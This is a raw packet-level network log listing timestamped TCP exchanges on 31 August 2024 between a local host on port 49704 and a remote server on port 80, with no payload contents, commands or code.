Aug 31, 2024 10:14:13.784652948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784667015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784667969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784687042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784689903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784694910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784698963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784714937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784718037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784727097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784730911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784744024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784754992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784775019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784776926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784785032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784790039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784813881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785168886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785206079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785254002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785264015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785286903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785293102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785300016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785314083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785325050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785343885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785347939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785355091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785368919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785377979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785388947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785398006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785401106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785414934 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785415888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785429955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785455942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785470009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785507917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785514116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785547972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785628080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785635948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785662889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785675049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785787106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785794973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785820961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785823107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785830975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.785832882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785856962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.785865068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.786153078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.786164999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.786180973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.786190033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.786201954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.786216974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787007093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787018061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787034035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787040949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787055969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787067890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787128925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787138939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787157059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787167072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787180901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787194014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787200928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787209034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787213087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787226915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787234068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787235975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787261009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787281990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787467003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787477016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787493944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787503004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787517071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787530899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787626982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787636995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787662029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787664890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787671089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787688017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787693977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787708044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787717104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787719011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787728071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787736893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787743092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787748098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787759066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787771940 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787774086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787782907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787785053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787787914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787806988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787822008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787838936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787858963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787868977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787885904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787894011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787895918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787911892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787918091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787926912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.787940025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787951946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.787967920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788006067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788013935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788028955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788038015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788049936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788064003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788122892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788156033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788213968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788223982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788240910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788247108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788259983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788278103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788367033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788400888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788429976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788439035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788458109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788465977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788467884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788477898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788491011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788499117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788522959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788572073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788582087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788599014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788609028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788639069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788755894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788778067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788788080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788794041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788822889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788825989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788835049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788850069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.788861036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.788887024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789002895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789027929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789036989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789041996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789062977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789077044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789109945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789119959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789138079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789148092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789149046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789160967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789174080 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789187908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789742947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789752960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789769888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789779902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789794922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789797068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789824963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789832115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789835930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789840937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789865971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789866924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789875031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789879084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789880991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789899111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789907932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789917946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789944887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.789944887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789954901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789969921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.789979935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790007114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790014029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790025949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790036917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790043116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790067911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790081024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790173054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790209055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790215969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790225983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790242910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790254116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790277004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790359974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790370941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790386915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.790395975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.790419102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.791224003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791234016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791253090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791266918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.791285992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.791307926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791320086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791342020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791347980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.791351080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.791356087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.793381929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.871108055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.871140003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.871176958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.871200085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936253071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936264038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936280966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936316013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936351061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936436892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936446905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936464071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936475992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936475992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936503887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936517000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936547995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936558008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936584949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936592102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936603069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936613083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936629057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936635971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936650038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936662912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936729908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936739922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936764002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936764956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936777115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936788082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936799049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936821938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936881065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936889887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936912060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936916113 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936920881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936939001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936939955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936947107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936950922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936975002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936983109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.936983109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.936999083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937006950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937010050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937026024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937027931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937041998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937063932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937078953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937117100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937129021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937146902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937165022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937182903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937182903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937194109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937216043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937223911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937535048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937582016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937623978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937633991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937661886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937661886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937671900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937676907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937693119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937700987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937702894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937725067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937727928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937735081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937752008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937755108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937764883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937768936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.937779903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937796116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.937809944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938139915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938177109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938178062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938188076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938210964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938215971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938225985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938225985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938240051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938254118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938263893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938280106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938323975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938333988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938353062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938355923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938364029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938371897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.938384056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.938386917 CEST	49704	80	192.168.2.5	185.215.113.100
